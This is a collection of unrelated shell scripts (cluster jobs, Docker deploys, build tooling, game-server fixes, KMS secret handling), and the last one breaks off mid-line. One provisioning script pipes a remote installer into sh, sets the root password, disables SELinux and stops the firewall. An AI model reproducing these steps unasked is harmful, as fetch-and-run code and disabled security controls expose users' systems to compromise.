CDFs:\nHGU133Plus2_Hs_ENSG (Marioni, FIMM)\nHGU133A2_Hs_ENSG\t(Lungs_C)\nHuEx10stv2_Hs_ENSG\t(Lungs_S, brain)\nHGFocus_Hs_ENSG\t\t(Cheung)\n\"\n exit 1\nfi\n\n\ninput_dir=$1\ndataset_dir=$2\ncdf=$3\n\nfor i in $input_dir/* ; do\n\tSAMPLE=`basename $i`\n\tsbatch -o ./logs/$SAMPLE.log -e ./logs/$SAMPLE.err ./run_triton.sh $input_dir/$SAMPLE $cdf $input_dir/$SAMPLE/$SAMPLE.gene.mmseq $dataset_dir/array_expr_means.RData\ndone"} {"text": "#!/bin/bash\n\necho \"Pushing $DOCKERHUB_DOCKEFILE to dockerhub repository $DOCKERHUB_DESTINATION\"\nsudo docker $DOCKER_OPTIONS login --username=$DOCKERHUB_USER --password=$DOCKERHUB_PASS\nsudo docker $DOCKER_OPTIONS build --pull -t $DOCKERHUB_DESTINATION -f \"$DOCKERHUB_DOCKEFILE\" \"$NODE_NAME/$NODE_VERSION\"\nsudo docker $DOCKER_OPTIONS push $DOCKERHUB_DESTINATION"} {"text": "<reponame>imanel/dotfiles\nexport CASE_SENSITIVE=\"true\" # Auto-complete should be case-sensitive\nexport GPG_TTY=$(tty)\nexport PATH=\"$HOME/.local/bin:$PATH\""} {"text": "#!/bin/bash\n\n#SBATCH --time=24:00:00 --mem-per-cpu=16000\n#SBATCH -n1 -N1\n\necho $1\n\nmodule load AaltoASR morfessor python variKN srilm\n\nif [ -z \"$1\" ]; then\n echo \"Provide a config file\"\n exit\nfi\n\n./train_scripts/01-morfessor.sh $1\n./train_scripts/02-ngram_count.sh $1\n./train_scripts/03-prune.sh $1"} {"text": "<filename>mysql2elastic.sh\n#!/bin/bash\n\nmkdir -p /home/michelek/m2e\ncd /home/michelek/m2e\n\nprintf \"\\nFetch data from mysql\\n\"\n. ./test.sh\n\nprintf \"\\nPull from github.com/memoriaal/mysql2elastic.git\\n\"\n\ngit clone -q https://github.com/memoriaal/mysql2elastic.git ./\ngit checkout -q master\ngit pull\n\nprintf \"\\n\\n\"\nversion=`date +\"%y%m%d.%H%M%S\"`\ndocker build --quiet --pull --tag=m2e:$version ./ && docker tag m2e:$version m2e:latest\n\nprintf \"\\n\\n\"\ndocker stop m2e\ndocker rm m2e\ndocker run -d \\\n --name=\"m2e\" \\\n --restart=\"always\" \\\n --cpu-shares=256 \\\n --memory=\"250m\" \\\n --env=\"NODE_ENV=production\" \\\n --env=\"VERSION=$version\" \\\n --env=\"PORT=80\" \\\n --env=\"COOKIE_SECRET=\" \\\n --env=\"DEPLOYMENT=debug\" \\\n --env=\"MYSQL_PASS=\" \\\n --env=\"ELASTIC_PASS=\" \\\n --volume=\"/data/m2e/log:/home/michelek/m2e/log\" \\\n m2e:latest\n\nprintf \"\\nDockerized\\n\""} {"text": "# TorXakis - Model Based Testing\n# Copyright (c) 2015-2017 TNO and Radboud University\n# See LICENSE at root directory of this repository.\n\necho $PATH\n# Stack should be installed at this stage.\necho \"stack\"\nstack --version\n# CVC4 should be installed at this stage.\necho \"cvc4\"\ncvc4 --version\n# Z3 should be installed at this stage.\necho \"z3\"\nz3 -version\n\nstack install --pedantic --install-ghc --haddock --test --stack-yaml stack_linux.yaml --work-dir $CACHE_DIR_REL/.stack-work --stack-root $CACHE_DIR/.stack --allow-different-user"} {"text": "<filename>stylelens/object_detection/download_model.sh<gh_stars>0\n#!/usr/bin/env bash\n\nscp -P 5664 bluehack@magi:/dataset/deepfashion/frozen_inference_graph.pb .\nscp -P 5664 <EMAIL>hack@magi:/dataset/deepfashion/data/label_map.pbtxt ."} {"text": "#!/bin/bash\n\n# This script is used to automate and simplify the process of updating\n# smart contracts on the test network, with consists of two steps:\n# 1. Packaging and installing chaincode on all peers (this script)\n# 2. Approving chaincode on all peers (see approve.sh)\n\necho \"Packaging/installing chaincode\"\nread -p 'Enter chaincode name: ' name\nread -p 'Enter chaincode version: ' version_number\nread -p 'Enter path to chaincode: ' path\n\n# Package smart contract into chaincode\necho \"Packaging... This may take a while.\"\npeer lifecycle chaincode package $name.tar.gz --path $path --lang golang --label $name\\_$version_number\n\n# Install chaincode at org1 admin\nexport CORE_PEER_TLS_ENABLED=true\nexport CORE_PEER_LOCALMSPID=\"Org1MSP\"\nexport CORE_PEER_TLS_ROOTCERT_FILE=${PWD}/organizations/peerOrganizations/org1.example.com/peers/peer0.org1.example.com/tls/ca.crt\nexport CORE_PEER_MSPCONFIGPATH=${PWD}/organizations/peerOrganizations/org1.example.com/users/Admin@org1.example.com/msp\nexport CORE_PEER_ADDRESS=localhost:7051\npeer lifecycle chaincode install $name.tar.gz\n\n# install chaincode at org2 admin\nexport CORE_PEER_LOCALMSPID=\"Org2MSP\"\nexport CORE_PEER_TLS_ROOTCERT_FILE=${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer0.org2.example.com/tls/ca.crt\nexport CORE_PEER_TLS_ROOTCERT_FILE=${PWD}/organizations/peerOrganizations/org2.example.com/peers/peer0.org2.example.com/tls/ca.crt\nexport CORE_PEER_MSPCONFIGPATH=${PWD}/organizations/peerOrganizations/org2.example.com/users/Admin@org2.example.com/msp\nexport CORE_PEER_ADDRESS=localhost:9051\npeer lifecycle chaincode install $name.tar.gz\n\n# Verify that chaincode has been installed\npeer lifecycle chaincode queryinstalled"} {"text": "#!/bin/bash\n# LinuxGSM fix_ark.sh function\n# Author: <NAME>\n# Website: https://linuxgsm.com\n# Description: Resolves various issues with ARK: Survival Evolved.\n\n# Steam mods directory selecter\n# This allows LinxuGSM to select either ~/.steam or ~/Steam. depending on what is being used\n\nsteamappsfile=$(find ${HOME} -name appworkshop_346110.acf)\nsteamappsdir=$(dirname \"${steamappsfile}\")\nsteamappspath=$(cd ${steamappsdir};cd ../;pwd)\n\n# removes the symlink if exists.\n# fixes issue with older versions of LinuxGSM linking to /home/arkserver/steamcmd\nif [ -L \"${serverfiles}/Engine/Binaries/ThirdParty/SteamCMD/Linux\" ]; then\n\tfixname=\"broken SteamCMD symlink\"\n\tfn_fix_msg_start\n\tunlink \"${serverfiles:?}/Engine/Binaries/ThirdParty/SteamCMD/Linux\"\n\tfn_fix_msg_end\n\tcheck_steamcmd.sh\nfi\n\n# removed ARK steamcmd directory if steamcmd is missing.\nif [ ! -f \"${serverfiles}/Engine/Binaries/ThirdParty/SteamCMD/Linux/steamcmd.sh\" ]; then\n\tfixname=\"remove invalid ARK SteamCMD directory\"\n\tfn_fix_msg_start\n\trm -rf \"${serverfiles:?}/Engine/Binaries/ThirdParty/SteamCMD/Linux\"\n\tfn_fix_msg_end\n\tcheck_steamcmd.sh\nfi\n\n# if the steamapps symlink is incorrect unlink it.\nif [ -d \"${serverfiles}/Engine/Binaries/ThirdParty/SteamCMD/Linux\" ]&&[ -L \"${serverfiles}/Engine/Binaries/ThirdParty/SteamCMD/Linux/steamapps\" ]&&[ \"$(readlink ${serverfiles}/Engine/Binaries/ThirdParty/SteamCMD/Linux/steamapps)\" != \"${steamappspath}\" ]; then\n\tfixname=\"incorrect steamapps symlink\"\n\tfn_fix_msg_start\n\tunlink \"${serverfiles:?}/Engine/Binaries/ThirdParty/SteamCMD/Linux/steamapps\"\n\tfn_fix_msg_end\nfi\n\n# Put symlink to steamapps directory into the ARK SteamCMD directory to link the downloaded mods to the correct location.\nif [ ! -L \"${serverfiles}/Engine/Binaries/ThirdParty/SteamCMD/Linux/steamapps\" ]; then\n\tfixname=\"steamapps symlink\"\n\tfn_fix_msg_start\n\tln -s \"${steamappspath}\" \"${serverfiles}/Engine/Binaries/ThirdParty/SteamCMD/Linux/steamapps\"\n\tfn_fix_msg_end\nfi"} {"text": "#!/bin/bash\n\n# Copyright 2015 The WebRTC project authors. All Rights Reserved.\n#\n# Use of this source code is governed by a BSD-style license\n# that can be found in the LICENSE file in the root of the source\n# tree. An additional intellectual property rights grant can be found\n# in the file PATENTS. All contributing project authors may\n# be found in the AUTHORS file in the root of the source tree.\n\n# Generates static FAT libraries for ios in out_ios_libs.\n\n# Exit on errors.\nset -e\n\n# Environment\nexport PATH=/usr/libexec:$PATH\n\nSCRIPT_DIR=$(cd $(dirname $0) && pwd)\nWEBRTC_BASE_DIR=${SCRIPT_DIR}/../../..\n\nfunction clean_artifacts {\n local output_dir=$1\n if [[ -d ${output_dir} ]]; then\n echo \"Deleting ${output_dir}\"\n rm -r ${output_dir}\n fi\n}\n\nfunction build_webrtc {\n local target_arch=$1\n local flavor=$2\n local build_type=$3\n local ios_deployment_target=$4\n local libvpx_build_vp9=$5\n local use_bitcode=$6\n local custom_gn_options=$7\n\n OUTPUT_DIR=${SDK_OUTPUT_DIR}/${target_arch}_libs\n GN_ARGS=\"target_os=\\\"ios\\\" ios_enable_code_signing=false \\\nuse_xcode_clang=true is_component_build=false\"\n\n # Add flavor option.\n if [[ ${flavor} = \"debug\" ]]; then\n GN_ARGS=\"${GN_ARGS} is_debug=true\"\n elif [[ ${flavor} = \"release\" ]]; then\n GN_ARGS=\"${GN_ARGS} is_debug=false\"\n else\n echo \"Unexpected flavor type: ${flavor}\"\n exit 1\n fi\n\n # Add the specified architecture.\n OUTPUT_LIB=${OUTPUT_DIR}/${SDK_LIB_NAME}\n GN_ARGS=\"${GN_ARGS} target_cpu=\\\"${target_arch}\\\"\"\n\n # Add deployment target.\n GN_ARGS=\"${GN_ARGS} ios_deployment_target=\\\"${ios_deployment_target}\\\"\"\n\n # Add vp9 option.\n GN_ARGS=\"${GN_ARGS} rtc_libvpx_build_vp9=${libvpx_build_vp9}\"\n\n # Add bitcode option.\n GN_ARGS=\"${GN_ARGS} rtc_ios_enable_bitcode=${use_bitcode}\"\n\n # Add custom options.\n if [[ -n \"${custom_gn_options}\" ]]; then\n GN_ARGS=\"${GN_ARGS} ${custom_gn_options}\"\n fi\n\n # Generate static or dynamic.\n if [[ ${build_type} = \"static_only\" ]]; then\n GN_TARGET_NAME=\"rtc_sdk_objc\"\n elif [[ ${build_type} == \"framework\" ]]; then\n GN_TARGET_NAME=\"rtc_sdk_framework_objc\"\n GN_ARGS=\"${GN_ARGS} enable_dsyms=true enable_stripping=true\"\n fi\n\n echo \"Building WebRTC with args: ${GN_ARGS}\"\n gn gen ${OUTPUT_DIR} --args=\"${GN_ARGS}\"\n echo \"Building target: ${GN_TARGET_NAME}\"\n ninja -C ${OUTPUT_DIR} ${GN_TARGET_NAME}\n\n # Strip debug symbols to reduce size.\n if [[ ${build_type} = \"static_only\" ]]; then\n strip -S ${OUTPUT_DIR}/obj/webrtc/sdk/lib${GN_TARGET_NAME}.a -o \\\n ${OUTPUT_DIR}/lib${GN_TARGET_NAME}.a\n fi\n}\n\nfunction usage {\n echo \"WebRTC iOS FAT libraries build script.\"\n echo \"Each architecture is compiled separately before being merged together.\"\n echo \"By default, the fat libraries will be created in out_ios_libs/.\"\n echo \"The headers will be copied to out_ios_libs/include.\"\n echo \"Usage: $0 [-h] [-b build_type] [-c] [-o output_dir]\"\n echo \" -h Print this help.\"\n echo \" -b The build type. Can be framework or static_only.\"\n echo \" Defaults to framework.\"\n echo \" -c Removes generated build output.\"\n echo \" -o Specifies a directory to output build artifacts to.\"\n echo \" If specified together with -c, deletes the dir.\"\n echo \" -r Specifies a revision number to embed if building the framework.\"\n echo \" -e Compile with bitcode.\"\n exit 0\n}\n\nSDK_OUTPUT_DIR=${WEBRTC_BASE_DIR}/out_ios_libs\nSDK_LIB_NAME=\"librtc_sdk_objc.a\"\nSDK_FRAMEWORK_NAME=\"WebRTC.framework\"\n\nBUILD_FLAVOR=\"release\"\nBUILD_TYPE=\"framework\"\nENABLED_ARCHITECTURES=(\"arm\" \"arm64\" \"x64\")\nIOS_DEPLOYMENT_TARGET=\"8.0\"\nLIBVPX_BUILD_VP9=\"false\"\nUSE_BITCODE=\"false\"\nCUSTOM_GN_OPTS=\"\"\nWEBRTC_REVISION=\"0\"\n\n# Parse arguments.\nwhile getopts \"hb:co:r:\" opt; do\n case \"${opt}\" in\n h) usage;;\n b) BUILD_TYPE=\"${OPTARG}\";;\n c) PERFORM_CLEAN=1;;\n e) USE_BITCODE=\"true\";;\n o) SDK_OUTPUT_DIR=\"${OPTARG}\";;\n r) WEBRTC_REVISION=\"${OPTARG}\";;\n *)\n usage\n exit 1\n ;;\n esac\ndone\n\nif [[ ${PERFORM_CLEAN} -ne 0 ]]; then\n clean_artifacts ${SDK_OUTPUT_DIR}\n exit 0\nfi\n\n# Build all architectures.\nfor arch in ${ENABLED_ARCHITECTURES[*]}; do\n build_webrtc $arch ${BUILD_FLAVOR} ${BUILD_TYPE} \\\n ${IOS_DEPLOYMENT_TARGET} ${LIBVPX_BUILD_VP9} ${USE_BITCODE} \\\n ${CUSTOM_GN_OPTS}\ndone\n\n# Ignoring x86 except for static libraries for now because of a GN build issue\n# where the generated dynamic framework has the wrong architectures.\n\n# Create FAT archive.\nif [[ ${BUILD_TYPE} = \"static_only\" ]]; then\n build_webrtc \"x86\" ${BUILD_FLAVOR} ${BUILD_TYPE} \\\n ${IOS_DEPLOYMENT_TARGET} ${LIBVPX_BUILD_VP9} ${USE_BITCODE} \\\n ${CUSTOM_GN_OPTS}\n\n ARM_LIB_PATH=${SDK_OUTPUT_DIR}/arm_libs/${SDK_LIB_NAME}\n ARM64_LIB_PATH=${SDK_OUTPUT_DIR}/arm64_libs/${SDK_LIB_NAME}\n X64_LIB_PATH=${SDK_OUTPUT_DIR}/x64_libs/${SDK_LIB_NAME}\n X86_LIB_PATH=${SDK_OUTPUT_DIR}/x86_libs/${SDK_LIB_NAME}\n\n # Combine the slices.\n lipo ${ARM_LIB_PATH} ${ARM64_LIB_PATH} ${X64_LIB_PATH} ${X86_LIB_PATH} \\\n -create -output ${SDK_OUTPUT_DIR}/${SDK_LIB_NAME}\nelif [[ ${BUILD_TYPE} = \"framework\" ]]; then\n ARM_LIB_PATH=${SDK_OUTPUT_DIR}/arm_libs\n ARM64_LIB_PATH=${SDK_OUTPUT_DIR}/arm64_libs\n X64_LIB_PATH=${SDK_OUTPUT_DIR}/x64_libs\n X86_LIB_PATH=${SDK_OUTPUT_DIR}/x86_libs\n\n # Combine the slices.\n DYLIB_PATH=\"WebRTC.framework/WebRTC\"\n cp -R ${ARM64_LIB_PATH}/WebRTC.framework ${SDK_OUTPUT_DIR}\n rm ${SDK_OUTPUT_DIR}/${DYLIB_PATH}\n echo \"Merging framework slices.\"\n lipo ${ARM_LIB_PATH}/${DYLIB_PATH} \\\n ${ARM64_LIB_PATH}/${DYLIB_PATH} \\\n ${X64_LIB_PATH}/${DYLIB_PATH} \\\n -create -output ${SDK_OUTPUT_DIR}/${DYLIB_PATH}\n\n # Remove stray mobileprovision if it exists until chromium roll lands.\n # See https://codereview.chromium.org/2397433002.\n PROVISION_FILE=${SDK_OUTPUT_DIR}/WebRTC.framework/embedded.mobileprovision\n if [[ -e ${PROVISION_FILE} ]]; then\n rm ${PROVISION_FILE}\n fi\n\n # Merge the dSYM slices.\n DSYM_PATH=\"WebRTC.dSYM/Contents/Resources/DWARF/WebRTC\"\n cp -R ${ARM64_LIB_PATH}/WebRTC.dSYM ${SDK_OUTPUT_DIR}\n rm ${SDK_OUTPUT_DIR}/${DSYM_PATH}\n echo \"Merging dSYM slices.\"\n lipo ${ARM_LIB_PATH}/${DSYM_PATH} \\\n ${ARM64_LIB_PATH}/${DSYM_PATH} \\\n ${X64_LIB_PATH}/${DSYM_PATH} \\\n -create -output ${SDK_OUTPUT_DIR}/${DSYM_PATH}\n\n # Modify the version number.\n # Format should be <Branch cut MXX>.<Hotfix #>.<Rev #>.\n # e.g. 55.0.14986 means branch cut 55, no hotfixes, and revision number 14986.\n INFOPLIST_PATH=${SDK_OUTPUT_DIR}/WebRTC.framework/Info.plist\n MAJOR_MINOR=$(PlistBuddy -c \"Print :CFBundleShortVersionString\" \\\n ${INFOPLIST_PATH})\n VERSION_NUMBER=\"${MAJOR_MINOR}.${WEBRTC_REVISION}\"\n echo \"Substituting revision number: ${VERSION_NUMBER}\"\n PlistBuddy -c \"Set :CFBundleVersion ${VERSION_NUMBER}\" ${INFOPLIST_PATH}\n plutil -convert binary1 ${INFOPLIST_PATH}\nelse\n echo \"BUILD_TYPE ${BUILD_TYPE} not supported.\"\n exit 1\nfi\n\necho \"Done.\""} {"text": "<filename>sbatch/062_train-pcen-deepcontext-convnet/sbatch/062_aug-all-but-noise_trial-2.sh\n# This shell script executes Slurm jobs for training\n# deep context-adaptive convolutional neural networks\n# on BirdVox-70k with PCEN input.\n# Trial ID: 2.\n# Augmentation kind: all-but-noise.\n\nsbatch 062_aug-all-but-noise_unit01_trial-2.sbatch\nsbatch 062_aug-all-but-noise_unit02_trial-2.sbatch\nsbatch 062_aug-all-but-noise_unit03_trial-2.sbatch\nsbatch 062_aug-all-but-noise_unit05_trial-2.sbatch\nsbatch 062_aug-all-but-noise_unit07_trial-2.sbatch\nsbatch 062_aug-all-but-noise_unit10_trial-2.sbatch"} {"text": "#!/usr/bin/env bash\n\nset -e +x\n\nexport FOLDER=`pwd`\necho \"The path is ${OLDPATH}\"\n\necho \"Testing and Packaging the Trading Engine JAR...\"\ncd source-code/trading-engine\n mvn verify\ncd $FOLDER\n\njar_count=`find source-code/trading-engine/target -type f -name *.jar | wc -l`\n\nif [ $jar_count -gt 1 ]; then\n echo \"More than one jar found, don't know which one to deploy. Exiting :(\"\n exit 1\nfi\n\nfind source-code/trading-engine/target -type f -name *.jar -exec cp \"{}\" package-output/trading-engine.jar \\;\n\necho \"Done packaging\"\nexit 0"} {"text": "<reponame>dreadl0ck/lfs-test-server\n#!/bin/bash\n\necho \"[INFO] creating lfs-test-server container...\"\n\necho \"[INFO] building & tagging container\"\ndocker build -t dreadl0ck/lfs-test-server .\nif (( $? != 0 )); then\n\techo \"[ERROR] failed to build container.\"\n\texit 1\nfi\n\necho \"[INFO] pushing to registry\"\ndocker push dreadl0ck/lfs-test-server\nif (( $? != 0 )); then\n\techo \"[ERROR] failed to push container image. maybe you are not logged in?\"\n\texit 1\nfi\n\necho \"[INFO] done.\""} {"text": "<filename>ci/travis/build_library.sh\n# Any commands which fail will cause the shell script to exit immediately\nset -e\n\n# Validate Travis CI environment\nif [ \"$TRAVIS_BUILD_DIR\" = \"\" ]; then\n echo \"Please define 'TRAVIS_BUILD_DIR' environment variable.\";\n exit 1;\nfi\n\nexport GTEST_ROOT=$TRAVIS_BUILD_DIR/third_parties/googletest/install\nexport INSTALL_LOCATION=$TRAVIS_BUILD_DIR/install\n\necho ============================================================================\necho Generating...\necho ============================================================================\ncd $TRAVIS_BUILD_DIR\nmkdir -p build\ncd build\ncmake -DCMAKE_INSTALL_PREFIX=$INSTALL_LOCATION -DLIBVARIANT_BUILD_TEST=ON -DBUILD_SHARED_LIBS=OFF -DLIBVARIANT_BUILD_STDINT_TYPES_TEST=ON -DLIBVARIANT_USE_STD_STRING=$LIBVARIANT_USE_STD_STRING ..\n\necho ============================================================================\necho Compiling...\necho ============================================================================\ncmake --build .\necho\n\necho ============================================================================\necho Installing into $INSTALL_LOCATION\necho ============================================================================\nmake install\necho\n\n# Delete all temporary environment variable created\nunset GTEST_ROOT\nunset INSTALL_LOCATION"} {"text": "#!/bin/bash\n\n# change password\necho <PASSWORD> | passwd --stdin root\n\n# change yum config\nif ! grep -q ip_resolve /etc/yum.conf; then\n echo \"ip_resolve=4\" >> /etc/yum.conf\nfi\n# auto change work directory\ncd $(dirname $0)\n\n# disable selinux\nif [ \"$(getenforce)\" != \"Disabled\" ]; then\n setenforce 0\n sed -i \"s/^SELINUX=.*$/SELINUX=disabled/g\" /etc/selinux/config\nfi\n\n# disable firewalld\nsystemctl stop firewalld\nsystemctl disable firewalld\n\n# install tiup\nif [[ \"$(hostname)\" =~ \"^tiup$\" ]]; then\n set -e\n if [[ type tiup |& grep -q 'not found' ]]; then\n curl --proto '=https' --tlsv1.2 -sSf https://tiup-mirrors.pingcap.com/install.sh | sh\n source ~/.bash_profile\n fi\n tiup cluster deploy tidb-cluster v4.0.0 ./topo.yaml\nfi"} {"text": "<gh_stars>10-100\n#!/bin/bash\n(cd $PETSC_DIR/share/petsc/examples/src/snes/examples/tutorials && make ex19)\nln -s -f $PETSC_DIR/share/petsc/examples/src/snes/examples/tutorials/ex19.c .\nln -s -f $PETSC_DIR/share/petsc/examples/src/snes/examples/tutorials/ex19 .\nexec=\"./ex19\"\nsize=7 #&& [ \"$TRUST_WITHOUT_HOST\" = 0 ] && size=10 # size=10 38e6 DOF\nPETSC_OPTIONS=\"-snes_monitor -pc_type mg -da_refine $size -snes_view -pc_mg_levels 9 -mg_levels_ksp_type chebyshev -mg_levels_pc_type jacobi\"\ntouch dummy.data\n#######################\n# Test sur un noeud GPU\n#######################\n# CPU sans GPU\nPETSC_OPTIONS=$PETSC_OPTIONS\" -log_view :CPUx1\" \ttrust -gpu dummy\nPETSC_OPTIONS=$PETSC_OPTIONS\" -log_view :CPUx2\" \ttrust -gpu dummy 2\n# CPU + 1 GPU\nPETSC_OPTIONS=$PETSC_OPTIONS\" -cuda_view -dm_mat_type aijcusparse -dm_vec_type cuda\"\nPETSC_OPTIONS=$PETSC_OPTIONS\" -log_view :CPUx1_GPUx1\"\ttrust -gpu dummy\nPETSC_OPTIONS=$PETSC_OPTIONS\" -log_view :CPUx2_GPUx1\" \ttrust -gpu dummy 2\n\n# See https://www.mcs.anl.gov/petsc/meetings/2019/slides/mills-petsc-2019.pdf page 23:\n# command=\"./ex19 -cuda_view -snes_monitor -pc_type mg -da_refine 10 -snes_view -pc_mg_levels 9 -mg_levels_ksp_type chebyshev -mg_levels_pc_type jacobi -log_view\"\n# See https://www.ibm.com/support/knowledgecenter/SSWRJV_10.1.0/jsm/jsrun.html\n# -n ressources\t\tDans une ressource, plusieurs cores et gpus\n# -c core/ressource\t--cpu_per_rs \n# -a task/ressource \t--tasks_per_rs\n# -g gpu/ressource\t--gpu_per_rs \n# CPU 42 MPI avec 6*(7 cores qui ne communiquent pas avec 1 GPU)\n# jsrun -n 6 -a 7 -c 7 -g 1 $command\n# GPU 24 MPI avec 6*(4 cores communiquent avec 1 GPU)\n# jsrun -n 6 -a 4 -c 4 -g 1 $command -dm_mat_type aijcusparse -dm_vec_type cuda"} {"text": "#!/bin/bash\n\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 3 of the License, or\n# (at your option) any later version.\n#\n# Written (W) 2009-2010 <NAME>, <NAME>\n# Copyright (C) 2009-2010 Max Planck Society\n#\n\n# rQuant wrapper script to start the interpreter with the correct list of arguments\n\nset -e\n\nPROG=`basename $0`\nDIR=`dirname $0`\n\nexec ${DIR}/start_interpreter.sh ${PROG} \"`${DIR}/genarglist.sh $@`\""} {"text": "<filename>examples/TEST/test-nominus.sh\n#! /usr/bin/env bash\nif [[ $1 == \"--hwut-info\" ]]; then\n echo \"Nominus Arguments;\"\n echo \"CHOICES: 1, 2;\"\n exit\nfi\n\ntmp=`pwd`\ncd ..\nmake SEPERATE_OBJ=YES nominus >& /dev/null\ncd $tmp\n\ncase $1 in \n 1)\n ../nominus sss ddd fff\n ;;\n\n 2)\n ../nominus -v sss -a ddd variable=12 fff\n ;;\nesac"} {"text": "<reponame>cyy0523xc/small-crm<filename>local-mysql.sh\n#!/bin/bash\n# \n# 本地测试时可以使用\n# Author: alex\n# Created Time: 2018年09月30日 星期日 18时11分54秒\n\nsudo docker rm -f mysql\nsudo docker run -d --name mysql \\\n -p 3306:3306 \\\n -e MYSQL_ROOT_PASSWORD=<PASSWORD> \\\n registry.cn-hangzhou.aliyuncs.com/ibbd/mariadb"} {"text": "#!/bin/sh\n\nTZ=${TZ:-UTC}\n\n# TimeZone\necho \"Setting timezone to ${TZ}...\"\nln -snf /usr/share/zoneinfo/${TZ} /etc/localtime\necho ${TZ} > /etc/timezone\n\nLOCK=/run/lock/entrypoint.lock\n\nif [ ! -f \"$LOCK\" ]; then\n if [ -d /entrypoint.d ]; then\n for f in /entrypoint.d/*; do\n echo \"Launch $f...\"\n [ -x \"$f\" ] && . \"$f\"\n done\n unset f\n fi\n\n echo \"Lock creation...\"\n touch $LOCK\nfi\n\necho \"Launch monit...\"\nexec \"$@\""} {"text": "#preparing for download \nmkdir \"gridcorpus\"\ncd \"gridcorpus\"\nmkdir \"raw\" \"align\" \"video\"\ncd \"raw\" && mkdir \"align\" \"video\"\n\nfor i in `seq $1 $2`\ndo\n printf \"\\n\\n------------------------- Downloading $i th speaker -------------------------\\n\\n\"\n \n #download the audio of the ith speaker\n cd \"align\" && curl \"http://spandh.dcs.shef.ac.uk/gridcorpus/s$i/align/s$i.tar\" > \"s$i.tar\" && cd ..\n cd \"video\" && curl \"http://spandh.dcs.shef.ac.uk/gridcorpus/s$i/video/s$i.mpg_vcd.zip\" > \"s$i.zip\" && cd ..\n unzip -q \"video/s$i.zip\" -d \"../video\"\n tar -xf \"align/s$i.tar\" -C \"../align\"\n \ndone"} {"text": "#!/bin/sh\n\nghdl -a cordic_10_16.vhdl\nghdl -a cordic_tb.vhdl\nghdl -e cordic_tb\nghdl -r cordic_tb --wave=cordic_tb.ghw"} {"text": "#!/bin/bash\n\nuser=SH\nproject=24K_screening\n\n\n[ ! -d ./Input ] && { `mkdir ./Input`; }\n[ ! -d ./User ] && { `mkdir ./User`; }\n[ ! -d ./Output ] && { `mkdir ./Output`; }\n\n[ ! -d ./Input/${user} ] && { `mkdir ./Input/${user}`; }\n[ ! -d ./Input/${user}/Query ] && { `mkdir ./Input/${user}/Query`; }\n[ ! -d ./Input/${user}/Query/${project} ] && { `mkdir ./Input/${user}/Query/${project}`; }\n[ ! -d ./Input/${user}/Reference ] && { `mkdir ./Input/${user}/Reference`; }\n[ ! -d ./Input/${user}/Reference/${project} ] && { `mkdir ./Input/${user}/Reference/${project}`; }\n\n[ ! -d ./User/${user} ] && { `mkdir ./User/${user}`; }\n> ./User/${user}/${project}.txt"} {"text": "#!/bin/sh\n\npython eval_image_classifier.py \\\n --alsologtostderr \\\n --checkpoint_path=train_log_res/model.ckpt-34179 \\\n --dataset_dir=data/ \\\n --dataset_name=food_101 \\\n --dataset_split_name=train \\\n --model_name=resnet_v1_101"} {"text": "flutterPath=`which flutter`\nlockfilePath=${flutterPath:0:${#flutterPath}-11}\ncd ${lockfilePath}\nopen ."} {"text": "#!/usr/bin/env sh\n\n# abort on errors\nset -e\n\n# build\nnpm run docs:build\n\n# navigate into the build output directory\ncd '../docs/.vuepress/dist'\n\n# if you are deploying to a custom domain\n# echo 'www.example.com' > CNAME\n\ngit add .\ngit commit -am 'Deployed to GitHub Pages'\n\n# if you are deploying to https://<USERNAME>.github.io\n# git push -f <EMAIL>:<USERNAME>/<USERNAME>.github.io.git master\n\n# if you are deploying to https://<USERNAME>.github.io/<REPO>\ngit push -f <EMAIL>:PugExtended/pug-extended.github.io.git master:gh-pages\n\ncd -"} {"text": "gcloud kms encrypt \\\n --plaintext-file=secrets.json \\\n --ciphertext-file=secrets.json.enc \\\n --location=global \\\n --keyring=pspkeyring \\\n --key=uisecrets\n\n# gcloud kms encrypt --plaintext-file=id_rsa \\\n# --ciphertext-file=id_rsa.enc \\\n# --location=global --keyring=pspkeyring --key=github-key\n\n# gcloud kms keys create githubkey \\\n# --location=global \\\n# --keyring=pspkeyring \\\n# --purpose=encryption\n\ngcloud kms keys add-iam-policy-binding \\\n githubkey --location=global --keyring=pspkeyring \\\n --member=serviceAccount:[SERVICE-ACCOUNT]@cloud<EMAIL> \\\n --role=roles/cloudkms.cryptoKeyDecrypter"} {"text": "#!/usr/bin/env bash\n\nfunction run() {\n setup\n PUT_SECRET_OPTS=''\n update_secret\n db_passwords_update\n redeploy_ecs_services\n wait_for_ecs_services\n}\n\nfunction test_run() {\n setup\n PUT_SECRET_OPTS='--generate-cli-skeleton'\n print_variables\n update_secret\n echo \"updating password in db...\"\n echo \"redeploying services...\"\n}\n\nfunction print_variables() {\n echo \"ENVIRONMENT: ${ENVIRONMENT}\"\n echo \"DB_NAME: ${DB_NAME}\"\n echo \"DB_CREDENTIAL: ${DB_CREDENTIAL}\"\n echo \"DB_USERNAME: ${DB_USERNAME}\"\n echo \"ACCOUNT: ${ACCOUNT}\"\n echo \"PGHOST: ${PGHOST}\"\n echo \"PUT_SECRET_OPTS: ${PUT_SECRET_OPTS}\"\n}\n\nfunction setup() {\n case \"${ENVIRONMENT}\" in\n 'preproduction')\n ACCOUNT=\"${ENVIRONMENT}\"\n ;;\n 'production')\n ACCOUNT=\"${ENVIRONMENT}\"\n ;;\n *)\n ACCOUNT=\"development\"\n ;;\n esac\n if [ -z $APPLICATIONS_HOST ] || [ -z $CASEWORKER_HOST ]\n then\n echo \"PGHOST cannot be set\"\n exit\n else\n case $DB_NAME in\n 'applications')\n PGHOST=${APPLICATIONS_HOST}\n ;;\n *)\n PGHOST=${CASEWORKER_HOST}\n ;;\n esac\n fi\n}\n\nfunction generate_new_password() {\n openssl rand -base64 33\n}\n\nfunction update_secret() {\n echo \"putting new password...\"\n aws secretsmanager put-secret-value \\\n --secret-id ${ACCOUNT}/opg_refunds_db_${DB_CREDENTIAL}_password \\\n --secret-string \"$(generate_new_password)\" ${PUT_SECRET_OPTS}\n}\n\nfunction db_passwords_update() {\n echo \"updating password in db...\"\n export DB_PASSWORD=$(aws secretsmanager get-secret-value --secret-id ${ACCOUNT}/opg_refunds_db_${DB_CREDENTIAL}_password | jq -r .'SecretString')\n export DB_USERNAME=${DB_USERNAME}\n export ROOT_PASSWORD=$(aws secretsmanager get-secret-value --secret-id ${ACCOUNT}/postgres_password | jq -r .'SecretString')\n PGPASSWORD=${<PASSWORD>} psql -v 